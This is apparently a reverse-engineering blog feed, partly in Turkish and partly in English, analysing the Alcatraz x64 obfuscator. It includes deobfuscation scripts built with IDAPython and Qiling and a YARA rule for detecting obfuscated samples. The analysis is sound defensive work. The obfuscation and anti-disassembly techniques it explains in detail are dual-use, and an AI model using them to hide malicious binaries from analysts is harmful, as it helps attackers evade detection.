<pre><code class="lang-C"><span class="hljs-keyword">return</span> ((__int64 (__fastcall *)(_QWORD, <span class="hljs-keyword">signed</span> __int64, <span class="hljs-keyword">signed</span> __int64, IMAGE_SECTION_HEADER *))((<span class="hljs-keyword">char</span> *)dosHeader + (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)__ROR4__(LODWORD(ntHeader-&gt;OptionalHeader.SizeOfStackCommit) ^ *(_DWORD *)((<span class="hljs-keyword">char</span> *)&amp;dosHeader-&gt;e_magic + v3-&gt;VirtualAddress), ntHeader-&gt;FileHeader.TimeDateStamp)))(
       a2,
       v4,
       a3,
       firstSectionHeader);
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550498550/6fb0afa6-a263-4fee-906f-79bfeb982ce5.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://github.com/weak1337/Alcatraz/blob/master/Alcatraz/obfuscator/misc/custom_entry.cpp">Kaynak kodu</a> üzerinden de bu süreci teyit edebiliriz:</p>
<pre><code class="lang-c">__declspec(safebuffers) <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">obfuscator::custom_main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{
    <span class="hljs-keyword">auto</span> peb = (<span class="hljs-keyword">uint64_t</span>)__readgsqword(<span class="hljs-number">0x60</span>); <span class="hljs-comment">// peb</span>
    <span class="hljs-keyword">auto</span> base = *(<span class="hljs-keyword">uint64_t</span>*)(peb + <span class="hljs-number">0x10</span>); <span class="hljs-comment">// peb + 0x10 = DOS Header (MZ)</span>
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)-&gt;e_lfanew);

    PIMAGE_SECTION_HEADER section = <span class="hljs-literal">nullptr</span>;
    <span class="hljs-keyword">auto</span> first = IMAGE_FIRST_SECTION(nt);
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; nt-&gt;FileHeader.NumberOfSections; i++) {
        <span class="hljs-keyword">auto</span> currsec = first[i];

        <span class="hljs-keyword">char</span> dev[<span class="hljs-number">5</span>] = { <span class="hljs-string">'.'</span>, <span class="hljs-string">'0'</span>, <span class="hljs-string">'D'</span>, <span class="hljs-string">'e'</span>, <span class="hljs-string">'v'</span> };
        <span class="hljs-keyword">if</span> (!_strcmp((<span class="hljs-keyword">char</span>*)currsec.Name, dev)) {
            section = &amp;currsec;
        }
    }

    <span class="hljs-keyword">uint32_t</span> real_entry = *(<span class="hljs-keyword">uint32_t</span>*)(base + section-&gt;VirtualAddress);
    real_entry ^= nt-&gt;OptionalHeader.SizeOfStackCommit;
    real_entry = _rotr(real_entry, nt-&gt;FileHeader.TimeDateStamp);
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">int</span>(*)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">char</span>**)&gt;(base + real_entry)(argc, argv);
}
</code></pre>
<h3 id="heading-writing-oep-finder-with-qiling-framework">Writing OEP Finder with Qiling Framework</h3>
<p>Tüm bu işlemlerin birçok çözüm yolu olabilir (örn. statik olarak binary üzerinde <a target="_blank" href="https://lief.re/">LIEF</a> gibi pe parser kütüphaneleri hesaplamayı yapmak). Ben tüm bu işlemin <a target="_blank" href="https://github.com/qilingframework/qiling">Qiling Framework</a> ile nasıl çözülebileceğini göstermek istiyorum. IDAPython apilerini kullanarak sample'ın entry-point'ini ve bu adrese ait fonksiyonun başlangıç bitiş adresini alabiliriz.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> qiling <span class="hljs-keyword">import</span> Qiling
<span class="hljs-keyword">from</span> qiling.const <span class="hljs-keyword">import</span> QL_VERBOSE  

<span class="hljs-comment"># Qiling Version: 1.4.8 f4464b95</span>
<span class="hljs-comment"># IDA Pro Version 7.7</span>

ROOTFS_PATH = <span class="hljs-string">r"ROOTFS_PATH"</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">find_oep</span>(<span class="hljs-params">sample_path, func</span>) -&gt; int:</span>
    <span class="hljs-comment"># I added the log_devices parameter because I got the following error.</span>
    <span class="hljs-comment"># TypeError: unexpected logging device type: IDAPythonStdOut</span>
    ql = Qiling([sample_path], rootfs=ROOTFS_PATH, verbose=QL_VERBOSE.OFF, log_devices=[])
    <span class="hljs-comment"># To prevent Qiling from continuing emulation, the RAX value</span>
    <span class="hljs-comment"># must be taken one instruction before the jmp opcode is executed.</span>
    ql.run(begin=func.start_ea, end=func.end_ea - <span class="hljs-number">0x4</span>) <span class="hljs-comment"># - jmp opcode size</span>
    original_entry_point = ql.arch.regs.read(<span class="hljs-string">"RAX"</span>)
    print(<span class="hljs-string">f"[+] Found Original Entry Point: 0x<span class="hljs-subst">{original_entry_point:x}</span>"</span>)
    <span class="hljs-keyword">return</span> original_entry_point


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    print(<span class="hljs-string">"[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]"</span>)
    sample_path = idaapi.get_input_file_path()
    <span class="hljs-comment"># IDAPython CheatSheet</span>
    <span class="hljs-comment"># https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c</span>
    info = idaapi.get_inf_structure()
    entrypoint = info.start_ea  <span class="hljs-comment"># EntryPoint start address</span>
    <span class="hljs-keyword">if</span> func := ida_funcs.get_func(entrypoint):
        function_name = idc.get_func_name(entrypoint)
        print(<span class="hljs-string">f"[+] Emulating Function Name: <span class="hljs-subst">{function_name}</span>, Address: <span class="hljs-subst">{entrypoint:x}</span>"</span>)        
        original_entry_point = find_oep(sample_path, func)
        <span class="hljs-comment"># Rename OEP address to original_entry_point</span>
        idc.set_name(original_entry_point, <span class="hljs-string">"original_entry_point"</span>, idc.SN_NOWARN)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">f"[-] This address is not a function"</span>)
        exit(<span class="hljs-number">-1</span>)

main()
</code></pre>
<p>Yazdığım bu scripti <code>File &gt; Script File... (Alt + F7)</code> ile çalıştırdıktan sonra aldığım çıktı bu:</p>
<pre><code class="lang-plaintext">[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]
[+] Emulating Function Name: start, Address: 14000e2ba
[+] Found Original Entry Point: 0x140001340
</code></pre>
<p>Hedef adrese ait fonksiyonun ismini de <code>original_entry_point</code> olarak değiştirdiğimiz için <code>Jump to Address (G)</code> yapmak yerine direkt Functions sekmesinde bu fonksiyon ismiyle arama yaptığımızda gerçek entry-point noktasını görebiliyoruz.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550480096/7f77b026-ac83-4134-9f41-24770097178c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-lea-obfuscation">LEA Obfuscation</h2>
<pre><code class="lang-apache"><span class="hljs-attribute">lea</span> rdx, cs:<span class="hljs-number">7</span>FF<span class="hljs-number">7</span>D<span class="hljs-number">996</span>FE<span class="hljs-number">33</span>h
<span class="hljs-attribute">pushf</span>
<span class="hljs-attribute">sub</span> rdx, <span class="hljs-number">421</span>FDBD<span class="hljs-number">3</span>h
<span class="hljs-attribute">popf</span>
<span class="hljs-attribute">lea</span> rcx, cs:<span class="hljs-number">7</span>FF<span class="hljs-number">7</span>FD<span class="hljs-number">145</span>F<span class="hljs-number">19</span>h
<span class="hljs-attribute">pushf</span>
<span class="hljs-attribute">sub</span> rcx, <span class="hljs-number">659</span>D<span class="hljs-number">3</span>CA<span class="hljs-number">9</span>h
<span class="hljs-attribute">popf</span>
<span class="hljs-attribute">call</span> loc_<span class="hljs-number">7</span>FF<span class="hljs-number">797778</span>E<span class="hljs-number">4</span>A
</code></pre>
<p><a target="_blank" href="https://www.felixcloutier.com/x86/lea">Load Effective Address (LEA)</a> komutu hedef adresi belirlenen register’a yükleme işlemini gerçekleştiriyor. pushf ve popf ile sarmalanmış sub komutu ise yüklenen rdx register’ına yüklenen adresten belirli bir değeri çıkartarak gerçek adresi açığa çıkartıyor.</p>
<blockquote>
<p>pushf ve popf ile sarmalanmasının sebebi CPU üzerindeki RFLAGS’lerin sub işleminden etkilenmemesini sağlamak. pushf ile RFLAGS hafızaya yüklenir ve popf ile korunan RFLAGS geri yüklenir.</p>
</blockquote>
<p>Dolayısıyla yukardaki işlemin gösterimi:</p>
<p>$$RDX = 0x7FF7D996FE33 - 0x421FDBD3$$</p><p>$$RCX = 0x7FF7FD145F19 - 0x659D3CA9$$</p><p>Alcatraz Codebase içerisinde <a target="_blank" href="https://github.com/weak1337/Alcatraz/blob/master/Alcatraz/obfuscator/passes/lea.cpp">lea.cpp</a> dosyası içerisinde de bunu nasıl hesapladığını görebilirsiniz:</p>
<pre><code class="lang-cpp"><span class="hljs-keyword">auto</span> rand_add_val = distribution(generator);
instruction-&gt;location_of_data += rand_add_val;
assm.pushf();
assm.sub(x86_register_map-&gt;second, rand_add_val);
assm.popf();
<span class="hljs-keyword">void</span>* fn;
<span class="hljs-keyword">auto</span> err = rt.add(&amp;fn, &amp;code);
</code></pre>
<p>Debugger üzerindeki gösterimi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744565729999/35d597a6-ee8f-484f-b418-38096d9b8860.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-anti-disassembly">Anti-Disassembly</h2>
<p><a target="_blank" href="https://github.com/weak1337/Alcatraz?tab=readme-ov-file#anti-disassembly">Buradaki açıklamaya</a> göre <code>0xFF</code> ile başlayan talimatı <code>0xEB 0xFF</code> haline çevirmesi <strong>lineer disassembler</strong>’ları şaşırtıyor. Buradaki tekniği (Impossible Disassembly) ve diğer anti-* teknikleri farklı bir blog yazısında anlatmayı planladığım için burada detayına girmeyeceğim. Kaynak kodu üzerinden bunu nasıl yaptığını açıkça görebiliyoruz.</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">obfuscator::obfuscate_ff</span><span class="hljs-params">(<span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;obfuscator::<span class="hljs-keyword">function_t</span>&gt;::iterator&amp; function, <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;obfuscator::<span class="hljs-keyword">instruction_t</span>&gt;::iterator&amp; instruction)</span> </span>{

    <span class="hljs-keyword">instruction_t</span> conditional_jmp{}; conditional_jmp.load(function-&gt;func_id, { <span class="hljs-number">0xEB</span> });
    conditional_jmp.isjmpcall = <span class="hljs-literal">false</span>;
    conditional_jmp.has_relative = <span class="hljs-literal">false</span>;
    instruction = function-&gt;instructions.insert(instruction, conditional_jmp);
    instruction++;

    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745424051069/ce554a5c-6615-4ec1-99d5-8004a0c1b6ba.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-mov-amp-add-obfuscation">MOV &amp; ADD Obfuscation</h2>
<p>LEA obfuscation’da bahsettiğim gibi pushf ve popf ile sarmalanmış birtakım işlemleri burada da yapıyor.</p>
<pre><code class="lang-cpp">mov     edx, <span class="hljs-number">0</span>AA045890h
pushf
<span class="hljs-keyword">not</span>     edx
add     edx, <span class="hljs-number">0E6</span>CAF175h
<span class="hljs-keyword">xor</span>     edx, <span class="hljs-number">0B</span>7625898h
rol     edx, <span class="hljs-number">0</span>C4h
popf
pushf
<span class="hljs-keyword">not</span>     edx
add     edx, <span class="hljs-number">811E9</span>B28h
<span class="hljs-keyword">xor</span>     edx, <span class="hljs-number">0</span>C6E2935Fh
rol     edx, <span class="hljs-number">0F</span>h
popf
</code></pre>
<h2 id="heading-control-flow-obfuscation">Control Flow Obfuscation</h2>
<p>Fonksiyon içerisindeki normal akışı yeniden oluşturulan bloklar içerisine yerleştirerek akış okumayı zorlaştırma işlemi gerçekleştiren kısım. Main fonksiyonun normal akışı bu iken:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745428515891/941aee50-ee12-4bc5-9ba6-65ad97f51d72.png" alt class="image--center mx-auto" /></p>
<p>Buna çeviriyor (graph view):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745428538007/e64359a8-5af6-4720-99bf-7cc6d861db5a.png" alt class="image--center mx-auto" /></p>
<p>Pseudo-Code gösterimi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745428621706/d148986b-3034-41a2-9d58-9ca8cf6b76fa.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-writing-mov-calculator-script-with-idapython">Writing MOV Calculator Script with IDAPython</h1>
<p>3.4 başlığında bahsettiğim MOV Obfuscation işlemine yönelik bir hesaplayıcı yazmak gerekiyor. Bu script’te kullanılacak olan fonksiyonlar Control Flow Unflattening işlemi için de gerekli olacak.</p>
<p>Scriptin main fonksiyonunda IDA üzerinde seçilen adres alınarak <code>analyze_mov_obfuscation</code> fonksiyonu çağırılıyor.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
   print(<span class="hljs-string">"[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]"</span>)
   <span class="hljs-comment"># Select a mutated function on IDA Screen</span>
   start_address = idaapi.get_screen_ea()
   <span class="hljs-keyword">if</span> selected_function := ida_funcs.get_func(start_address):
      function_name = idc.get_func_name(start_address)
      print(<span class="hljs-string">f"[+] Analyzing Function Name: <span class="hljs-subst">{function_name}</span>, Address: <span class="hljs-subst">{start_address:x}</span>"</span>)
      deobfuscated_mov_ops = analyze_mov_obfuscation(func=selected_function)
      print(<span class="hljs-string">f"[+] Deobfuscated <span class="hljs-subst">{deobfuscated_mov_ops}</span> MOV obfuscation"</span>)
   <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">f"[-] This address is not a function"</span>)
        exit(<span class="hljs-number">-1</span>)
</code></pre>
<p><code>analyze_mov_obfuscation</code> fonksiyonu, kısaca hedef fonksiyon içerisinde dolaşıp aşağıdaki pattern’i bulduktan sonra gerekli değeri hesaplıyor.</p>
<pre><code class="lang-c">pattern:
{
    mov     eax, VALUE
    pushf
    <span class="hljs-keyword">not</span>     eax
    add     eax, VALUE
    <span class="hljs-keyword">xor</span>     eax, VALUE
    rol     eax, VALUE
    popf
}
</code></pre>
<p>analyze_mov_obfuscation fonksiyonunu yazmadan önce ROL, ROR ve pushf&amp;popf ile sarmalanmış operasyonları gerçekleştiren fonksiyonları da script içerisine eklemek gerekiyor:</p>
<pre><code class="lang-python">rol = <span class="hljs-keyword">lambda</span> val, r_bits, max_bits: ((val &lt;&lt; (r_bits % max_bits)) &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>)) | ((val &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>)) &gt;&gt; (max_bits - (r_bits % max_bits)))
ror = <span class="hljs-keyword">lambda</span> val, r_bits, max_bits: ((val &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>)) &gt;&gt; (r_bits % max_bits)) | ((val &lt;&lt; (max_bits - (r_bits % max_bits))) &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>))
MASK = <span class="hljs-number">0xFFFFFFFF</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">calculate_mov_value</span>(<span class="hljs-params">init_value, add_value, xor_value, rol_value</span>):</span>
   <span class="hljs-comment"># mov     eax, VALUE</span>
   calculated_value = init_value
   <span class="hljs-comment"># not     eax         -&gt; bitwise NOT</span>
   calculated_value = (~calculated_value) &amp; MASK
   <span class="hljs-comment"># add     eax, VALUE</span>
   calculated_value = (calculated_value + add_value) &amp; MASK
   <span class="hljs-comment"># xor     eax, VALUE</span>
   calculated_value = calculated_value ^ xor_value
   <span class="hljs-comment"># rol     eax, VALUE</span>
   calculated_value = rol(calculated_value, rol_value, <span class="hljs-number">32</span>)
   <span class="hljs-keyword">return</span> calculated_value
</code></pre>
<p>Bu pattern için sadece baştaki mov ve pushf değerlerini kontrol etmek yeterli. Bu yüzden current_address değerinin bulunduğu instruction ve bir sonraki instruction’u kontrol ediyoruz:</p>
<pre><code class="lang-python"><span class="hljs-comment"># Get function start address</span>
current_address = func.start_ea
<span class="hljs-keyword">while</span> current_address &lt; func.end_ea:
  instruction = idautils.DecodeInstruction(current_address)
  <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> instruction:
     <span class="hljs-keyword">break</span>

  <span class="hljs-keyword">if</span> instruction.itype == idaapi.NN_mov:
     <span class="hljs-comment"># Check if the next opcode is pushf</span>
     next_instruction = idautils.DecodeInstruction(current_address + instruction.size)
     <span class="hljs-keyword">if</span> next_instruction.itype == idaapi.NN_pushf:
        print(<span class="hljs-string">"[+] MOV Obfuscation pattern found!"</span>)
        ...
     <span class="hljs-keyword">else</span>:
        current_address += instruction.size
  <span class="hljs-keyword">else</span>:
     current_address += instruction.size
</code></pre>
<p>Initial adres bir register’a atıldıktan sonra özel hesaplama işleminin kaç kere yapıldığı random şekilde seçildiğinden dolayı bu pattern’i bir kere hesaplayamıyoruz. Bu yüzden yine bir döngü içerisinde belirli opcode’lar dışında farklı bir opcode gelene kadar devam etmek gerekiyor. Bu işlemin 3 kere yapılan bir örneği de aynı fonksiyon içerisinde bulunuyor:</p>
<pre><code class="lang-c">mov     ecx, <span class="hljs-number">5600B</span>3EBh
pushf
<span class="hljs-keyword">not</span>     ecx
add     ecx, <span class="hljs-number">84</span>DD6D12h
<span class="hljs-keyword">xor</span>     ecx, <span class="hljs-number">84F</span>2EEE7h
rol     ecx, <span class="hljs-number">2B</span>h
popf
pushf
<span class="hljs-keyword">not</span>     ecx
add     ecx, <span class="hljs-number">0B</span>4156550h
<span class="hljs-keyword">xor</span>     ecx, <span class="hljs-number">0B</span>460F07Dh
rol     ecx, <span class="hljs-number">5B</span>h
popf
pushf
<span class="hljs-keyword">not</span>     ecx
add     ecx, <span class="hljs-number">0E02</span>D13C8h
<span class="hljs-keyword">xor</span>     ecx, <span class="hljs-number">0</span>C483568Bh
rol     ecx, <span class="hljs-number">66</span>h
popf
</code></pre>
<p>Script içerisinde hesaplama işlemini de bu şekilde yapıyoruz:</p>
<pre><code class="lang-python">calculated_value = <span class="hljs-number">0</span>
add_value = xor_value = rol_value = <span class="hljs-number">0</span>
<span class="hljs-comment"># Get value from {mov eax, VALUE} and MASK for 32bit</span>
initial_value = instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
<span class="hljs-comment"># Add current_address and mov and pushf</span>
current_address += instruction.size + next_instruction.size
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
   current_instruction = idautils.DecodeInstruction(current_address)
   <span class="hljs-keyword">if</span> current_instruction.itype == idaapi.NN_not:
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_add:
      add_value = current_instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_xor:
      xor_value = current_instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
      current_address += current_instruction.size 
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_rol:
      rol_value = current_instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_popf:
      calculated_value = calculate_mov_value(
         init_value=initial_value,
         add_value=add_value,
         xor_value=xor_value,
         rol_value=rol_value
      )
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_pushf:
      <span class="hljs-comment"># The pattern we are looking for can be repetitive,</span>
      <span class="hljs-comment"># so we need to keep the process going.</span>
      initial_value = calculated_value
      current_address += current_instruction.size
   <span class="hljs-keyword">else</span>:
      <span class="hljs-keyword">break</span>
print(<span class="hljs-string">f"[+] Calculated MOV value: <span class="hljs-subst">{hex(calculated_value)}</span>"</span>)
</code></pre>
<p><a target="_blank" href="https://github.com/0xReverse/idascripts/tree/main/alcatraz">Github Repo</a></p>
<h1 id="heading-yara-rule">YARA Rule</h1>
<pre><code class="lang-c"><span class="hljs-keyword">import</span> <span class="hljs-string">"pe"</span>

rule SUSP_EXE_Alcatraz_Obfuscator_April_23 { 
    meta:
        description = <span class="hljs-string">"This rule detects samples obfuscated with Alcatraz."</span>
        author      = <span class="hljs-string">"Utku Corbaci (rhotav) / 0xReverse"</span>
        date        = <span class="hljs-string">"2025-04-23"</span>
        sharing     = <span class="hljs-string">"TLP:CLEAR"</span>
        tags        = <span class="hljs-string">"windows,exe,suspicious,obfuscator"</span>
        os          = <span class="hljs-string">"Windows"</span>

    strings:
        <span class="hljs-comment">// B8 41 CD A8 27   mov     eax, 27A8CD41h</span>
        <span class="hljs-comment">// 66 9C            pushf</span>
        <span class="hljs-comment">// F7 D0            not     eax</span>
        <span class="hljs-comment">// 05 AB FD E1 DD   add     eax, 0DDE1FDABh</span>
        <span class="hljs-comment">// 35 CA 3C 0F BF   xor     eax, 0BF0F3CCAh</span>
        <span class="hljs-comment">// C1 C0 62         rol     eax, 62h</span>
        <span class="hljs-comment">// 66 9D            popf</span>
        $obfuscation_mov = {B8 ?? ?? ?? ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>C F7 D0 <span class="hljs-number">05</span> ?? ?? ?? ?? <span class="hljs-number">35</span> ?? ?? ?? ?? C1 C0 ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>D}

        <span class="hljs-comment">// 48 8D 05 74 81 47 77        lea     rax, cs:1B748621Eh</span>
        <span class="hljs-comment">// 66 9C                       pushf</span>
        <span class="hljs-comment">// 48 2D A6 2B 48 77           sub     rax, 77482BA6h</span>
        <span class="hljs-comment">// 66 9D                       popf</span>
        $obfuscation_lea = {<span class="hljs-number">48</span> <span class="hljs-number">8</span>D ?? ?? ?? ?? ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>C <span class="hljs-number">48</span> <span class="hljs-number">2</span>D ?? ?? ?? ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>D}
    condition: 
        pe.is_pe
        <span class="hljs-keyword">and</span> <span class="hljs-keyword">for</span> any i in (<span class="hljs-number">0.</span>.pe.number_of_sections - <span class="hljs-number">1</span>): (
            (pe.sections[i].name == <span class="hljs-string">".0Dev"</span>)
        )
        <span class="hljs-keyword">and</span> (all of ($obfuscation_*))
}
</code></pre>
<p><a target="_blank" href="https://www.unpac.me/yara/hunt/results/3886a8a9-997c-4b71-b65b-e9000e581aa7">unpac.me Hunting Results</a></p>
<h1 id="heading-references">References</h1>
<ol>
<li><p><a target="_blank" href="https://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English">https://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c">https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c</a></p>
</li>
<li><p><a target="_blank" href="https://python.docs.hex-rays.com/">https://python.docs.hex-rays.com/</a></p>
</li>
<li><p><a target="_blank" href="https://grazfather.github.io/posts/2016-09-18-anti-disassembly/">https://grazfather.github.io/posts/2016-09-18-anti-disassembly/</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a">https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a</a></p>
</li>
<li><p><a target="_blank" href="https://phrack.org/issues/71/15">https://phrack.org/issues/71/15</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Understanding Alcatraz ~ Obfuscator Analysis [EN]]]></title><description><![CDATA[Introduction
Binary-to-binary (bin2bin) obfuscators, which are frequently preferred by both malware developers and users seeking to protect their source code, are making the work of malware analysts and reverse engineering experts increasingly diffic...]]></description><link>https://0xreverse.com/understanding-alcatraz-obfuscator-analysis-en</link><guid isPermaLink="true">https://0xreverse.com/understanding-alcatraz-obfuscator-analysis-en</guid><category><![CDATA[decompiler]]></category><category><![CDATA[disassembler]]></category><category><![CDATA[yara-rule]]></category><category><![CDATA[obfuscation]]></category><category><![CDATA[obfuscator]]></category><category><![CDATA[english]]></category><category><![CDATA[yara]]></category><category><![CDATA[Emulation]]></category><dc:creator><![CDATA[Utku Çorbacı]]></dc:creator><pubDate>Wed, 23 Apr 2025 21:18:35 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>Binary-to-binary (bin2bin) obfuscators, which are frequently preferred by both malware developers and users seeking to protect their source code, are making the work of malware analysts and reverse engineering experts increasingly difficult with their advanced techniques, complicating the overall analysis process. In this article, the processes of one such tool, the “Alcatraz” obfuscator, are analyzed.</p>
<h1 id="heading-alcatraz-obfuscator">Alcatraz Obfuscator</h1>
<p><a target="_blank" href="https://github.com/weak1337/Alcatraz">Alcatraz</a> is an obfuscator capable of obfuscating x64-based PE files, and it stands out among open-source binary-to-binary obfuscator solutions with the techniques it incorporates.</p>
<ul>
<li><p>Obfuscation of immediate moves</p>
</li>
<li><p>Control flow flattening</p>
</li>
<li><p>ADD mutation</p>
</li>
<li><p>Entry-point obfuscation</p>
</li>
<li><p>Lea obfuscation</p>
</li>
<li><p>Anti disassembly</p>
</li>
</ul>
<p>If we are not analyzing directly on a sample (such as a crackme, malware, etc.), we can more easily observe the changes made by the target obfuscator using a file we have prepared ourselves. For this purpose, I created a test application prior to the analysis.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">char</span>* <span class="hljs-title">func1</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">return</span> <span class="hljs-string">"0xreverse.com"</span>;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">func2</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">return</span> <span class="hljs-number">24</span>;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, func1());
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d\n"</span>, func2());
    getchar();
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>I obfuscated this application, which I compiled in Release (x64) mode, using Alcatraz with all features enabled. In the remainder of the article, I will refer to this test application as the “sample.”</p>
<h1 id="heading-analysis">Analysis</h1>
<h2 id="heading-entry-point-obfuscation">Entry-Point Obfuscation</h2>
<p>When I opened the sample on IDA, I saw that the first function (Entry-Point) was doing something with PE Headers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550422248/b3fcb389-83f7-4c3f-a54e-a374d8f57e6c.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-c">ImageBaseAddress = (<span class="hljs-keyword">char</span> *)NtCurrentPeb()-&gt;ImageBaseAddress;
v7 = &amp;ImageBaseAddress[*((<span class="hljs-keyword">int</span> *)ImageBaseAddress + <span class="hljs-number">15</span>)];
v8 = *((<span class="hljs-keyword">unsigned</span> __int16 *)v7 + <span class="hljs-number">3</span>);
v9 = (__int64)&amp;v7[*((<span class="hljs-keyword">unsigned</span> __int16 *)v7 + <span class="hljs-number">10</span>) + <span class="hljs-number">24</span>];
</code></pre>
<p>Since IDA does not recognize the structures, it represents them using pointer operations. To improve this process, I imported the MS SDK (Windows 7 x64) types from the Type Libraries section (Shift + F11 or View &gt; Open Subviews). To modify the types of variables, I added the necessary types as “standard structures” via the Structures section (Shift + F9) by pressing the Ins key. After adding the structures, I converted the relevant variables in the code to appropriate types.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550458595/8fbca073-308c-4379-af7e-8964adab94d9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-c">dosHeader = (IMAGE_DOS_HEADER *)NtCurrentPeb()-&gt;ImageBaseAddress;
ntHeader = (IMAGE_NT_HEADERS *)((<span class="hljs-keyword">char</span> *)dosHeader + dosHeader-&gt;e_lfanew);
NumberOfSections = ntHeader-&gt;FileHeader.NumberOfSections;
firstSectionHeader = (IMAGE_SECTION_HEADER *)((<span class="hljs-keyword">char</span> *)&amp;ntHeader-&gt;OptionalHeader
                                          + ntHeader-&gt;FileHeader.SizeOfOptionalHeader);
<span class="hljs-keyword">if</span> (ntHeader-&gt;FileHeader.NumberOfSections)
{
    qmemcpy(obfuscatorSection, <span class="hljs-string">".0Dev"</span>, <span class="hljs-keyword">sizeof</span>(obfuscatorSection));
    <span class="hljs-keyword">do</span>
    {
      v10 = obfuscatorSection;
      v11 = *(_OWORD *)&amp;firstSectionHeader-&gt;SizeOfRawData;
      v12 = *(_QWORD *)&amp;firstSectionHeader-&gt;NumberOfRelocations;
      hasSectionName = _mm_cvtsi128_si32(*(__m128i *)firstSectionHeader-&gt;Name);
      *(_OWORD *)selectedSectionName.Name = *(_OWORD *)firstSectionHeader-&gt;Name;
      *(_QWORD *)&amp;selectedSectionName.NumberOfRelocations = v12;
      *(_OWORD *)&amp;selectedSectionName.SizeOfRawData = v11;
      <span class="hljs-keyword">if</span> ( hasSectionName )
      {
        a3 = (<span class="hljs-keyword">char</span> *)&amp;selectedSectionName - obfuscatorSection;
        v14 = hasSectionName;
<span class="hljs-comment">//...</span>
</code></pre>
